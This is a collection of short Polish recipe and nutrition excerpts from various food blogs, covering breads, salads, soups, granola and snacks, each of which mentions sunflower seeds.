opakowania ) - 25 g świeżych drożdży lub 7 g drożdży instant - 2 łyżeczki soli - łyżeczka cukru - 2 łyżki oleju - 2 szklanki lekko ciepłej wody - u mnie opcjonalnie 4 łyżki słonecznika, bo akurat tyle było w torebce Do garnuszka odmierz ciepłą wodę, wsyp cukier i dodaj drożdże. Po chwili wymieszaj. Do garna, wsyp wszystkie składniki, zalej wodą z drożdżami i wymieszaj, możesz

mąki żytniej T 2000 50 g mąki pszennej T 750 12 g soli  225 ml letniej wody Dodatki:   siemię lniane (30 g), pestki dyni (30 g), słonecznik (20 g) Przygotowanie: Mąkę wymieszać z solą i ziarnami. Do zaczynu dolać wodę, wymieszać, wsypać mąki i ponownie wymieszać. Można łyżką drewnianą lub hakiem do wyrabiania ciast - ciasta żytniego

mała czerwona cebula 2 łyżeczki octu balsamicznego 1 łyżeczka miodu 2 łyżki oliwy z oliwek lub tłoczonego na zimno oleju lnianego 1 łyżeczka nasion lnu 2 łyżeczki nasion słonecznika kilka orzechów włoskich suszone żurawiny ( kilka sztuk) sól i pieprz do smaku świeże oregano Kapustę poszatkować, cebulę pokroić w drobną kostkę, jabłko zetrzeć na tarce. Ocet balsamiczny wymieszać z miodem

oprószony mąką blat. Składamy brzegi do środka, a następnie przekładamy je na ściereczkę oprószoną otrębami łączeniem do dołu. Od góry również obsypujemy ciasto otrębami. Zamiast otrębów można użyć ziaren słonecznika, czarnuszki, sezamu, pestek dyni, nasion lnu, czy płatków owsianych. Ciasto zawijamy w ściereczkę i pozostawiamy jeszcze na około 1 godzinę do podwojenia objętości. Piekarnik nagrzewamy do maksymalnej temperatury (minimum

poradzą sobie nawet początkujący w wypieku pieczywa. Podstawowy przepis na chleb z garnka można oczywiście modyfikować według  własnego gustu. Do ciasta można dodać np. orzechy, pestki dyni lub słonecznika, suszone zioła, czy suszone pomidory. Do przygotowania  chleba z garnka potrzebujemy  dużego żeliwnego garnka (bez plastikowych elementów, które mogłyby się stopić!) lub zwykłego większego, wysokiego naczynia żaroodpornego

mąki pszennej  100 g mąki żytniej 100 g mąki żytniej razowej 0,5 łyżeczki cukru 1 płaska łyżeczka soli 3 łyżki siemienia lnianego 2 łyżki sezamu 3 łyżki słonecznika 1 łyżka pestek dyni 100 g suszonych śliwek 1/3 szklanki zakwasu żytniego 1,5 szklanki letniej wody  Śliwki kroimy na drobną kostkę. Do miski przesiewamy mąki, dodajemy cukier oraz

szklanki brązowego cukru, duża szczypta mielonej wanilii, duże jajko, 1/2 łyżeczki sody, 1 i 1/2 szklanki mąki, pół szklanki płatków owsianych górskich, pół szklanki rodzynek, 1-2 łyżki pestek słonecznika Masło zmiksować z dwoma rodzajami cukru i wanilią. Dodać jajko, dokładnie wymieszać. Wsypać mąkę i sodę, bardzo krótko zmiksować - tylko do połączenia. Dodać płatki, rodzynki, pestki, szybko wymieszać szpatułką. Ciasto

komosą i wędzonym łososiem: 100 g komosy ryżowej (u mnie biała i czerwona ), ok. 70 g wędzonego łososia, pół dużej czerwonej papryki, mała czerwona cebula, 2-3 łyżeczki pestek słonecznika, garść oliwek, kilka suszonych pomidorów, kilka łyżeczek posiekanej natki pietruszki, kilka łyżeczek soku z cytryny (do smaku) kilka łyżeczek oliwy, sól, pieprz (do smaku) Komosę ugotować zgodnie z przepisem

też pokruszone herbatniki), 1/2 szklanki mleka, ok. 1/2 szklanki cukru lub do smaku (ilość zależy od tego, jak słodkie były ciasta), 1/2 - 3/4 szklanki dowolnych bakalii (u mnie pestki słonecznika, orzechy, wiórki kokosowe, rodzynki), ok. 350-400 g dżemu, marmolady lub powideł, 125 g masła, 4 łyżki masła orzechowego, Nutelli lub innego kremu czekoladowego, 3-4 łyżki kakao (lub mniej

ulubionymi przyprawami. Możecie też dolać do niej odrobinę słodkiej śmietanki lub mleka kokosowego, nadającego jej egzotycznego charakteru. Kremowa zupa z pieczonych warzyw fantastycznie smakuje z czosnkowymi grzankami lub pestkami słonecznika albo dyni. Smacznego:) Przepis na krem z pieczonych warzyw: ok. 2 l domowego bulionu drobiowego lub jarzynowego (ilość zależy od tego, jak gęstą lubimy zupę), pół małej dyni, 2 marchewki

dużego, okrągłego bochenka - czas pieczenia będzie taki sam. Zarówno chleb jak i bułki mleczne na zakwasie możecie posypać ulubioną mieszaną ziaren. Ja czasami posypują moje bułki makiem, sezamem albo słonecznikiem. Jeśli nie pieczecie chleba lub bułek bardzo często, szkoda byłoby wyrzucać pozostały zakwas. Jeśli nie zamierzacie go dokarmiać w najbliższym czasie, pamiętajcie, że z powodzeniem można go mrozić. Po rozmrożeniu

pieczenia Uwagi do przepisu: Przepis na chleb bez drożdży jest na jedną keksówkę o wymiarach 30 x 11 cm. Do ciasta na chleb możecie dodać 3 łyżeczki sezamu, słonecznika lub sezamu. PRZYGOTOWANIE: Piekarnik nagrzewam do temp. 190 st. C, ustawiam program grzanie góra/dół, bez termoobiegu. W misce mieszam łyżką wszystkie składniki, najpierw mieszam suche składniki, dodaję mokre

Prosty i szybki pasztet warzywny? Nie ma problemu, dzielę się przepisem na pasztet z fasoli (czerwonej) ze słonecznikiem i pieczoną marchewką. Ten... The post Wegański pasztet z fasoli – prosty i sprawdzony przepis appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Ciasteczka APPLE BISCO BIO to bezglutenowe ciasteczka z owsem i jabłkiem produkowane w całości z ekologicznych zbóż i owoców. Zawierają mąkę owsianą, płatki owsiane, siemię lniane i nasiona słonecznika. Doskonałe źródło błonnika! Świetna przekąska w ciągu dnia! A ciacho z ich dodatkiem? Przepyszne! Ciasto jest lekkie, orzeźwiające i niesamowicie puszyste. U mnie zniknęło zaraz po zrobieniu zdjęć – jeszcze ciepłe

gram soczewicy około 1-1,5 l bulionu warzywnego pół łyżeczki kminu rzymskiego pół łyżeczki gałki muszkatołowej łyżeczka słodkiej papryki łyżeczka ostrej papryki sól i pieprz do smaku słonecznik, szczypiorek i ostra papryka do ozdoby Przepis 1 Cebule obieramy i kroimy w pióra. Czosnek obieramy i siekamy. Na patelni rozgrzewamy łyżkę masła, dodajemy łyżkę mąki, cebulę i czosnek oraz podsmażamy

łyżeczki soli, płaskiej łyżeczki cukru, 1 szklanki wody, 1 łyżeczki oleju, ulubionych suszonych owoców ( mogą to być śliwki, morele, rodzynki lub żurawina), kilku łyżeczek nasion, np. pestek dyni lub słonecznika. Co trzeba zrobić? Należy zacząć od przesiania obu rodzajów mąki, do których dodajemy sól i cukier, a następnie drobno posiekane owoce i nasiona. Wszystko mieszamy. Następnie wlewamy oliwę i rozpuszczone

szklanka płatków owsianych górskich, ale błyskawiczne te się nadają 2 łyżki masła lub oleju kokosowego – ja użyłam surowego – nierafinowanego oleju kokosowego 1/2 szklanki suszonej żurawiny 1/4 szklanki słonecznika lub pestek dyni lub chia (u mnie chia) Daktyle namoczyć w zimnej wodzie przez 2-3 godziny. Odsączyć na sitku, wodę wylać. Daktyle przełożyć do malaksera, dodać płatki owsiane

ciasto z cukinią i orzechami to nie przejmujcie się, że nie macie akurat wystarczającej ilości tych orzechów w domu, bo możecie je zamienić na inne orzechy lub nawet dodać słonecznik czy pinie. To ciasto upiekłam na kokosowym oleju ale z powodzeniem można je upiec na maśle. Znacie mój blog już na tyle i wiecie, że nie używam margaryny, bo margaryna

inna owocowa) -250g opakowanie 200ml śmietany 36% 2 łyżki cukru pudru opakowanie 200ml jogurtu greckiego tabliczka czekolady deserowej galaretka truskawkowa +50ml wrzątku bakalie: pestki z dyni, pestki słonecznika, orzechy włoskie, płatki migdałowe i inne jak macie ochotę (laskowe, żurawina, daktyle, brazylijskie itp) po 2 łyżki stołowe Robimy! Zagniatamy ciasto z podanych składników i schładzamy w lodówce minimum pół

której znajdziesz bardzo dużo inspiracji. Co do przepisów z bloga, to ostatnio moimi ulubionymi są wegański paprykarz , pasta z czerwonej soczewicy , pasta z zielonej soczewicy oraz pasta ze słonecznika

mojprzepisna.pl | Chleb pszenny bez wyrabiania Zachęcona zdjęciami Agnieszki (z blogu marynawkuchni ) zrobiłam ten chlebek i ja :) Osobiście wolę pieczywo z mąki pełnoziarnistej z pestkami słonecznika, dyni, siemieniem, ale mój mąż lubi czasem czyste pszenne pieczywo, więc zrobiłam chlebek dla niego. Chlebek jest prosty w wykonaniu, ma całkiem fajne duże dziury, nie jest suchy, ani dmuchany, ma całkiem chrupiącą skórkę

szklanki mleka roślinnego lub wody 300 g bardzo słodkich – dojrzałych bananów (u mnie 3 szt) 1 szklanka bakalii (u mnie 3/4 szklanki orzechów, reszta to pestki dyni i słonecznika, polecam też rodzynki) Piekarnik nagrzać do 180 st, grzałka góra-dół, bez termoobiegu. Formę wyłożyć papierem do pieczenia. W miseczce wymieszać mąkę, zmielone migdały, proszek do pieczenia, sól. W misie

mąki pszennej 150 g mąki pszennej pełnoziarnistej 25 g świeżych drożdży 1 jajko 80 g masła 1 szkl. ciepłego mleka 5 łyżek dowolnych ziaren (np. sezam, ziarna konopii, słonecznik, pestki dynii, mak) 1 łyżeczka cukru 1,5 łyżeczki soli Przygotowanie : Drożdże kruszymy, mieszamy z cukrem i 1/2 szkl. ciepłego mleka. Odstawiamy w ciepłe miejsce na 30 min. Mąki przesiewamy

problemu zjedzą go dorośli i dzieci. Świetnie pasuje do sera, wędlin ale też do słodkich smarowideł – dżemów czy brrr nutelli. Możecie dodać tutaj jakiś nasion np siemienia, pestek słonecznika czy dni, a nawet maku. Przepis na chleb pszenny codzienny pochodzi z książki „Chleb Domowa piekarnia” Piotra Kucharskiego. Przyznam, że pierwsze wypieki z tej książki jakoś średnio

wody (około 40 stopni C) – 8g drożdży instant (2 czubate łyżeczki) – 2 łyżeczki miodu – 1 łyżka oliwy z oliwek – 1 łyżeczka soli – 25g ziaren słonecznika – 25g siemienia lnianego Miód rozpuścić w ciepłej wodzie, dodać oliwę, dokładnie wymieszać. Mąki wsypać do miski, dodać drożdże, sól, ziarna i wszystko dokładnie wymieszać. Wodę wlać do miski

pęczek świeżego koperku 2 łyżeczki koncentratu pomidorowego 3/4 szklanki ryżu (najlepiej średnioziarnistego lub do risotto- arborio) 2 szklanki gorącej wody sól i pieprz cytryna do podania do posypania - pestki słonecznika  Przygotowanie ryżu z porem: Z porów odetnij zielone liście, zaś białą i jasnozieloną część dobrze umyj i pokój na półplasterki. Rozgrzej oliwę w głębokiej patelni, wrzuć pora na średni

próbowaliście to najwyższy czas. Gwarantuję, że zasmakuje również mięsożercom .  Potrzebujemy: 1 szklanka startej marchewki 0,5 szklanki kaszy jaglanej suchej 1 szklanka wody 0,25 szklanki prażonego słonecznika 0,25 szklanki prażonego sezamu 0,5 czerwonej cebuli lub 1 mała pokrojona w drobną kostkę 0,25 szklanki bułki tartej 2 łyżki oliwy z oliwek 2 łyżki mąki 1 łyżka

gładko (gdyby zupa była za gęsta, można dolać wody). 9.   Doprawiamy zupę do smaku solą i pieprzem. Jako dodatek do zupy idealnie nadadzą się prażone pestki słonecznika. Smacznego

chce nam się iść do sklepu, lub gdy po prostu mamy chęć na domowe pieczywo polecam pyszne bułeczki śniadaniowe, proste i ekspresowe w wykonaniu. Bułeczki można posypać czarnuszką lub słonecznikiem, ja bardzo lubię sezam, dlatego posypałam sezamem. Na 8 bułek: 400 g mąki pszennej 100 g mąki żytniej z pełnego przemiału 30 g drożdży 1/2 łyżeczki cukru 1 łyżeczka soli

mąki orkiszowej lub pszennej 50 g otrąb orkiszowych lub pszennych 100 g zakwasu żytniego (przepis tutaj ) 10 g drożdży świeżych 1 łyżka soli 400 ml letniej wody 50 g słonecznika 20 g siemienia lnianego 20 g sezamu 2 łyżki czarnuszki do posypania wierzchu wykonanie: Do miski wkładamy drożdże, zalewamy je letnią woda i mieszamy, aż się rozpuszczą. Następnie dodajemy pozostałe

Dużą szklanką wyciskać bułeczki. Ułożyć na blaszce wyłożonej papierem pergaminowym.  Odstawić do wyrośnięcia na ok. 15 min. Można posmarować białkiem i posypać, np. słonecznikiem, siemieniem lnianym. Piec w temperaturze 180 stopni przez ok. 30 min.  SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

dzień rozpoczęliśmy z pysznym i sycącym domowym chlebem . Składniki na szybki i prosty chleb 500 g mąki pszennej chlebowej TYP 750 50 g płatków owsianych 100 g ziaren np. słonecznika, dyni, sezamu, siemienia lnianego 1,5 płaskiej łyżeczki soli 1 łyżka cukru 1 paczka drożdży instant (8 g) 1,5 szklanki ciepłej wody margaryna do wysmarowania formy (adsbygoogle = window.adsbygoogle || []).push

składniki się połączą. Keksówkę posmarować margaryną, posypać bułką tartą, włożyć ciasto, wygładzić je łyżką maczaną w wodzie. Ciasto na chleb można posypać otrębami pszennymi, sezamem, siemieniem lnianym, ziarnami słonecznika lub dyni. Wstawić na 15 minut do piekarnika nagrzanego do 60 o C, następnie zwiększyć temperaturę do 200 o C, piec 60 minut. Chleb pszenny wyjąć z formy, pozostawić do ostygnięcia

fasoli będzie zbyt gęsta, należy wmieszać jeszcze trochę wody. Hummus z fasolki adzuki doprawić do smaku pieprzem cayenne, solą oraz pieprzem. Podawać polany oliwą, posypany np. prażonymi ziarnami słonecznika lub sezamu, posiekaną natką pietruszki, czerwoną cebulą. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Hummus z fasolki adzuki pochodzi z serwisu Niecodziennik Pary

garnka, przegotować. Rozdrobnić blenderem do uzyskania gęstego kremu, doprawić do smaku solą i pieprzem. Zupę krem z kalafiora można podać z pieczywem, grzankami, groszkiem ptysiowym, pestkami dyni i słonecznika lub zjeść bez dodatków. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Zupa krem z kalafiora pochodzi z serwisu Niecodziennik Pary

Składniki: 200 g mąka żytnia  300 g mąka pszenna  500 ml cieplej wody  1 płaska łyżeczka soli  3 łyżki zakwasu chlebowego  50 g nasion słonecznika  10 g płatków owsianych  5 g siemienia lnianego  Przygotowane: ✅ do naczynia wyrabiającego ciasto (miska) dodajemy: mąka żytnia, mąka pszenna, sól, woda, zakwas chlebowy. Wszystkie składniki wyrabiany

pyszne :) SKŁADNIKI NA 8 BUŁEK: 35 dag mąki pszennej 2 łyżeczki proszku do pieczenia po 1 łyżeczce soli i cukru 200 ml mleka 50 ml oleju *garść słonecznika *łyżeczka ziaren chia i kminku 1 jajko *łyżka jogurtu naturalnego WYKONANIE: Wszystkie składniki ważymy, odmierzamy i przekładamy do miski. Zakładamy do miksera mieszadła do ciasta (spirale) i miksujemy do połączenia składników. Blachę

zupy z soczewicy. Rozgrzewająca, z dodatkiem mleczka kokosowego, dobra propozycja na chłodniejsze dni. Zupę podałam z posiekanym szczypiorkiem, jednak tutaj równie dobrze sprawdzi się pietruszka, dodatkowo można sypnąć prażonym słonecznikiem lub pestkami dyni. Zupa z soczewicy ... Czytaj dalej Rozgrzewająca zupa z soczewicy Artykuł Rozgrzewająca zupa z soczewicy pochodzi z serwisu Pink Envelope - Proste przepisy

typowym, jednogarnkowym daniu, wystarczy wrzucić składniki, zamieszać, przykryć i zaczekać kilkanaście minut:) Zobacz przepis Zobacz przepis Sałatka z kaszy jaglanej w stylu tajskim, z nasionami dyni i słonecznika Jeden z naszych ulubionych przepisów z kaszą. Podprażone chrupkie nasionka tworzą doskonałe tło dla kremowej kaszy. Oprawę dla całości, skąpanej w aromatycznym dresingu, tworzy świeża kolendra. Bardzo prosta i niecodzienna sałatka. Zobacz

jeśli mamy w domu młynek), pieczywo w zamrażarce lub suchary i wafle ryżowe. Tłuszcze: olej lub oliwa, masło, margaryna, masło orzechowe, orzechy bez soli, nieprażone, nasiona np dyni lub słonecznika. Cukry: cukier, czekolada gorzka, dżem, herbatniki, miód. Białko: warzywa strączkowe (soczewica, groch, ciecierzyca, fasola) suche i w puszkach, mięso świeże do zamrożenia, konserwy mięsne i rybne, mleko w proszku Sól

Składniki 2 buraki garść rukoli liście botwinki pestki słonecznika i dyni orzeszki pinii 100 g sera koziego sos 1 łyżeczka musztardy francuskiej 2 ząbki czosnku 1/4 szklanki oliwy z oliwek 2 łyżeczki miodu 1/2 łyżeczki ziół prowansalskich sok z cytryny sól i pieprz Przygotowanie Buraki w łupinkach zawiń w folię aluminiową i piecz w piekarniku nagrzanym do temperatury 180 stopni

pieczywo: chleby i bułeczki, szczególnie bułki kajzerki posypane sezamem, makiem bądź siemieniem lnianym. Ja wolę pieczywo pełnoziarniste. Chleby pszenno-żytnie, orkiszowe z dodatkiem wszelkiego rodzaju ziaren, suszonych owoców np. słonecznika, siemienia lnianego, dyni, żurawiny. Chleb czy bułki za każdym razem mogą smakować inaczej, dzięki czemu domowe wypieki nigdy nam się nie znudzą. Jeśli dopiero zaczynasz przygodę z domowym wypiekiem pieczywa

przepisu możesz użyć czerstwego pieczywa. Kurczaka i grzanki możesz usmażyć dzień wcześniej wieczorem.  Bezglutenowa alternatywa:  Zamiast Chleba Magnat możesz w tym przepisie wykorzystać  Bezglutenowy Chleb ze Słonecznikiem Putka .  Wpis powstał we współpracy z  Piekarnie Cukiernie Putka

łyżeczki suchych drożdży instant 1 szklanka mleka (250 ml) 3 pełne łyżki masła (⅓ szklanki rozpuszczonego) 1 nieduże jajko (s/m) 2 łyżki cukru 1 łyżeczka soli do posypania: płatki owsiane, słonecznik, sezam, czarnuszka, mak lub pestki dyni Rozpuszczamy masło, dolewamy mleko i lekko podgrzewamy (tak, aby płyn był ciepły – nie gorący). W dużej misce (np. miksera) mieszamy ze sobą mąkę

zwiększyła się aż o 74%. Warto więc wzbogacić dietę o pełnoziarniste pieczywo, mięso i jaja. Selen Pozytywnie wpływa na ruchliwość plemników. Warto wzbogacić dietę o orzechy (zwłaszcza brazylijskie), pestki słonecznika, dyni, sezam i migdały. Żelazo Ma istotne znaczenie dla prawidłowego funkcjonowania jajników, a także rozwoju komórek jajowych oraz zarodka.  Najlepiej przyswajalne żelazo znajdziemy w produktach zwierzęcych, jednak niektóre badania

deserów, poniżej przepis na mój mega-energetyczny deser z nasionami czarnuszki. Składniki na deser energetyczny bez pieczenia:     Spód:   eko suszone daktyle: 150g eko rodzynki 75g bio słonecznik łuskany 30g bio ziarna sezamu 10g eko amarantus ekspandowany 35g szczypta nasion czarnuszki ( tutaj )     Masa:   eko orzechy nerkowca 300g sok z cytryny 1 łyżeczka sól himalajska miód

konsystencja sałatki nam odpowiadała - my dodajemy całą puszkę, czasem 3/4. Doprawiamy solą i pieprzem. Inne pomysły na szybkie, imprezowe sałatki: Sałatka z brokułem, kukurydzą, serem feta i prażonym słonecznikiem Sałatka z tuńczykiem, kukurydzą i jajkiem Sałatka z gruszką, serem pleśniowym i suszonymi pomidorami Sałatka śledziowa z burakiem i ogórkami kiszonymi Sałatka z arbuzem i serem feta

zrobiliśmy i zachwycamy się efektem! Do przygotowania domowej granoli potrzebujemy: – 500 g płatków owsianych (jeżeli macie ochotę dajcie mieszankę ulubionych płatków) – 3 łyżki/40 g nasion słonecznika – 4 garście ekspandowanego amarantusa – 2 garście orzechów laskowych (posiekanych na mniejsze kawałki) – 2 łyżki/ 30 g siemienia lnianego – 100 g migdałów (u mnie słupki) – 1/4 filiżanki

około 4-5 łyżek oliwy łyżka soku z cytryny (może być ocet jabłkowy) 2 ząbki czosnku ½ łyżeczki ksylitolu, cukru lub miodu 1 ½ ziół prowansalskich sól, pieprz + można dodać słonecznik prażony, orzeszki piniowe lub miks nasion do sałatek (adsbygoogle = window.adsbygoogle || []).push({}); Link do filmiku z przepisem na: Sałatka z brokułem i serem feta Przygotowanie: Najpierw przygotuję brokuł: Brokuł kroję na mniejsze

papierem do pieczenia. Pieczemy ok. 20 min. Podajemy np. z sosem śmietanowo-koperkowym. I nne pomysły z brokułem w roli głównej: Sałatka z brokułem, kukurydzą, serem feta i prażonym słonecznikiem Zapiekanka makaronowa z kurczakiem, serem feta i brokułem Prosta fit zupa jarzynowa Zupa krem brokułowa

cebula kilkanaście zielonych oliwek sos: 3 łyżki oliwy z oliwek + łyżka wody+ łyżka soku z cytryny+ łyżka musztardy+ odrobina soli i pieprzu czarnego pestki: po 2 łyżki dyni, słonecznika, babki płesznik, konopii (jak ktoś ma) Robimy! Udziec siekamy na mniejsze kawałeczki i obsmażamy lekko na patelni grillowej- bez tłuszczu – studzimy W misce mieszamy sałaty z mięsem, pokrojonymi drobno pomidorami

mąki pszennej 100g masła/margaryny 1 żółtko   1/2 łyżeczki czosnki granulowanego 1/3 łyżeczki soli odrobina pieprzu  Moje nadzienie: sałatka pikantna z makrelą Ponadto: 1 białko  pestki słonecznika do posypania (opcjonalnie) ulubione przyprawy (u mnie słodka papryka wędzona; opcjonalnie) Nadziewane kruche ciasteczka wytrawne - przygotowanie: Masło/margarynę wymieszać z żółtkiem oraz następnie z mąką i przyprawami.  Zagniecione

żółtka ugotowane na twardo przetrzeć przez sitko,  1 cukier waniliowy,   puszka mleka skondensowanego na kajmak  Dekoracje: polewa czekoladowa, migdały, orzechy laksowe,  pestki dyni i słonecznika Sposób przygotowania:  Dokładnie siekamy wszystkie składniki lub ucieramy na makutrze (jeśli posiadamy).  Wstawiamy składniki posiekane do lodówki na około 30 minut.  Po upływie czasu rozwałkowujemy masę

ugotowanym makaronem dorzucamy wcześniej podpieczone warzywa oraz pesto. Wszystko dokładnie mieszamy. Bucatini serwujemy posypane odrobiną tartego parmezanu i skórki cytrynowej. Świetnie sprawdzą się też orzeszki pinni lub pestki słonecznika. Gotowe! Drukuj przepis Artykuł Bucatini z zimowym pesto i słodkimi ziemniakami pochodzi z serwisu Mostek w kuchni

śniadanie do pracy albo podrzucam Dzieciom do śniadaniówki. Są pyszne i zdrowe, można jeść bez wyrzutów! SKŁADNIKI: 1 szklanka płatków owsianych  270 g bakalii (użyłam orzechów laskowych, pekan, słonecznik łuskany, wiórki kokosowe i migdały) 70 g daktyli 160 g masła orzechowego 50 ml mleka kokosowego (można zastąpić innym roślinnym lub krowim) 3 pełne łyżki miodu WYKONANIE: Wszystkie składniki umieść

chrupiącej skórce. Dodatki możecie zmieniać według upodobania, tak samo, jak zakwas, na którym będziecie go piekli. Raz na pszennym zakwasie z owsianką i siemieniem lnianym, raz na żytnim ze słonecznikiem, a jeszcze później na mieszanym z dodatkiem suszonych płatków kwiatów i czarnuszki...możliwości tyle ile macie pomysłów! Mój ze zdjęcia dostał w gratisie płatki nagietka i czarnuszkę ale poniżej podaję

piekarniku nagrzanym do 180 stopni. Po upieczeniu, przestudzone ciastka najlepiej przechowywać w pojemniku. Ciastka owsiane – inne dodatki Do ciastek owsianych można dodać również inne dodatki, np. czekoladę, orzechy, słonecznik, rodzynki, sezam, kakao, itp. Można dodać inny rodzaj mąki, czy też owoce Ciastko owiane i jogurt to pomysł na drugie śniadanie do pracy, czy też dla dziecka do szkoły. Artykuł

wszystko. Nasza wegańska pasta z ciecierzycy z suszonymi pomidorami , jest już gotowa Teraz, można przy jej pomocy przygotować kanapki. Wystarczy posmarować nią ulubione pieczywo, a następnie posypać prażonymi ziarnami słonecznika i pestkami z dyni. Można też, wykorzystać ją do naleśników – zarówno takich na ciepło, na obiad, jak i takich na zimno, na przykład w formie roladek do lunch boxa. Będzie

bogate w węglowodany złożone i błonnik, a więc pieczywo i makarony razowe, płatki i otręby owsiane, warzywa (najlepiej w postaci surowej), orzechy, migdały oraz wszelkiego rodzaju pestki (np. dyni, słonecznika), wartościowe są także rośliny strączkowe - zarówno ich nasiona, jak i kiełki. Ważne są także owoce, z tym że o jednym musimy pamiętać - owoce, choć niezwykle zdrowe - są jednak bogatym źródłem

wędzonym serem i gruszką Składniki rukola 2 łyżki startego sera wędzonego typu oscypek gruszka 1 łyżka soku z cytryny – do skropienia gruszki 1-2 łyżki prażonych ziaren ( mix słonecznika, dyni i orzeszków pinii) Sos 3 łyżki oliwy z oliwek 1 łyżka soku z cytryny 1 łyżeczka miodu ( my użyłyśmy miodu piniowego) ½ łyżeczki musztardy Dijon sól, pieprz do smaku Wykonanie

witamina D3 i K2 Vivo life - smak: cytrynowy / Kompleks witamin B12 Vivo life - smak: pomarańczowy Firma: Vivo Life Skład: Omega 3 – Olej z mikroalg (z Schizochytrium sp.), olej ze słonecznika, kompleks przeciwutleniaczy (ekstrakt z rozmarynu, tokoferole, askorbyl), kompleks ekstraktów z cytrusów (naturalny cytral, olejek cytrynowy, olejek limonkowy). D3 i K2 – Witamina D3 (cholekalcyferol), witamina K2 (menachinon-7), MCT (olej kokosowy

porcja) - 100 g komosy ryżowej - czerwona - 1 duży batat - 150 -200 g dyni piżmowej - 4 garście świeżego szpinaku - 2 ząbki czosnku - przyprawa do grilla - mieszanka ulubionych pestek słonecznik, dynia itp. - przyprawa do indyka Indyk: Możemy przygotować na dwa sposoby, pierwszy to ugotowany filet z indyka, druga na oliwie z oliwek smażymy indyka z dodatkiem przyprawy. Na patelni na łyżce oliwy

wyrośnie. Ja zrobiłam rano i wyrastał 6 godzin. Nie wyrósł, tak jak bym chciała. Mimo wszystko, taki świeży był przepyszny. Składniki: 1 kg. mąki pszennej typ 650 5 łyżek słonecznika 5 łyżek płatków owsianych 3 łyżki pestek dyni 1 łyżka nasion chia 1 łyżka siemienia lnianego 2 łyżeczki soli 250 g. aktywnego zakwasu 500 g. letniej wody Wykonanie: Do miski

rośliny strączkowe: fasola, soczewica, ciecierzyca, soja jajka ryby morskie (łosoś, makrela, śledź, tuńczyk, sardynki) olej lniany, oliwa z oliwek extra vergine orzechy włoskie, migdały, pistacje pestki dyni, pestki słonecznika  nasiona chia suszone owoce gorzka czekolada (zawiera magnez, potas, żelazo)  zielone warzywa liściaste - sałata, szpinak, brokuły, jarmuż (źródło żelaza, kwasów omega-3) awokado banany, pomarańcze, winogrona (źródło

piekarnika. Piec (**) około 30-40 minut w temperaturze 200 stopni.   Chleb pszenny bez wyrabiania - dodatkowe informacje:   (*) Chlebek możecie urozmaicić o dodatek ulubionych ziaren. Ja swój posypałam pestkami słonecznika, który uwielbia moja córka. (**) Korzystam z piekarnika gazowego, który grzeje jedynie od dołu, więc jeśli jak ja macie problem z przyrumienieniem się wierzchu skórki to pod koniec pieczenia warto posmarować

przepadam za tym warzywem.  W postaci pesto smakuje mi. Znalazłam swój sposób na jarmuż w mojej diecie. 2 garście umytego i osuszonego jarmużu 1/2 szklanki podprażonych pestek słonecznika 1/2 szklanki oleju rzepakowego z pierwszego tłoczenia 2 ząbki czosnku 1/2 łyżeczki soli Jarmuż oderwij od łodygi. Umieść składniki w malakserze. Zmiksuj. Jeśli trzeba dolej jeszcze oliwy. Można dodać ser pecorino

ułożyłam na cebuli. Na ananasie rozłożyłam usmażone i wystudzone mięso. Całość polałam domowym sosem czosnkowym zrobionym na bazie jogurtu naturalnego i majonezu. Sałatkę można dodatkowo posypać prażonymi ziarnami słonecznika lub orzechami. (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam do odwiedzenia innych moich przepisów na sałatki, np.: warstwowa sałatka z brzoskwiniami (link do przepisu: https://wanilioweimprowizacje.blogspot.com/2020/01/warstwowa-saatka-z-brzoskwiniami.html), warstwowa sałatka z wieprzowiną (link do przepisu

którą przepis znajdziecie niżej, jest idealna do sałatki. Wystarczy przygotować cytrynowo-miodowy sos lub inny ulubiony :) roszponkę, swoje ulubione świeże warzywa, może jakiś dobry ser i uprażone ziarna słonecznika. Nie trzeba nic więcej. Taka dynia, jeszcze ciepła, sprawdza się do podjadania i zasadniczo... ciężko się od tego powstrzymać :) Pieczona dynia z rozmarynem Składniki: miąższ z małej dyni pokrojony w kostkę

łyżeczki miodu 2 łyżeczki musztardy 2 łyżki oliwy z oliwek sok wyciśnięty z połowy cytryny czosnek (tutaj używam pieczonego) sól i pieprz do smaku Składniki opcjonalne: pestki słonecznika pestki dyni ziarna sezamu białego lub czarnego migdały orzechy włoskie orzechy laskowe suszona żurawina koperek natka pietruszki lubczyk Pomocne będą również: moździerz lub inne narzędzie rozgniatania czosnku gumowe rękawiczki - zapobiegają "czerwonym palcom

potem nie będzie przeszkadzać w jedzeniu 😊 Domowa granola - przepis na kilkanaście porcji Do przygotowania granoli będziesz potrzebować: 60g sezamu, 150g płatków owsianych, 50g migdałów w słupkach, 50g słonecznika, 50g rodzynek, 50g suszonej żurawiny. 1. Na suchej patelni upraż ziarna sezamu. 2. Nagrzej piekarnik do 160 stopni C. 3. Wymieszaj wszystkie ziarna z płatkami, ułóż na blaszce wyłożonej papierem do pieczenia

Przygotowanie : około 1,5 h, oraz 36 h namaczania i rośnięcia Ilość porcji : 1 chleb ok 1 kg SKŁADNIKI: – 500 g kaszy gryczanej białej niepalonej – 4-5 łyżek ziaren słonecznika – 1-2 łyżki innych dodatków (ziarna dyni, otręby, inne) Przygotowanie : Kaszę gryczaną wypłucz pod bieżąca wodą na sitku, a następnie przesyp do miski, zalej wodą tak aby zakrywała

jednocześnie zdrowego? To oczywiście przepyszne daktylowo-orzechowe kuleczki. Przepis można dowolnie modyfikować w zależności od tego, co akurat mamy w szafce… można dodać np. suszoną żurawinę, śliwkę, nasiona słonecznika… Ja dziś przedstawię Wam przepis podstawowy na kuleczki o lekko orzechowym smaku Daktylowo-orzechowe kuleczki – składniki (na około 30 sztuk): 2 szklanki suszonych daktyli bez pestek, 2 łyżki

pieczenia, smarujemy żółtkiem rozmieszanym z mlekiem i szczyptą soli i pieprzu i posypujemy ulubionymi ziarnami. U mnie jest to sezam, ale sprawdzi się także czarnuszka, kminek czy nawet słonecznik. Paszteciki od razu wstawiamy do nagrzanego do 200ºC piekarnika i pieczemy na złoty kolor (grzanie góra-dół bez termoobiegu) ok 15 minut. Z tej porcji wyjdą dwie blaszki, ale polecam zrobić

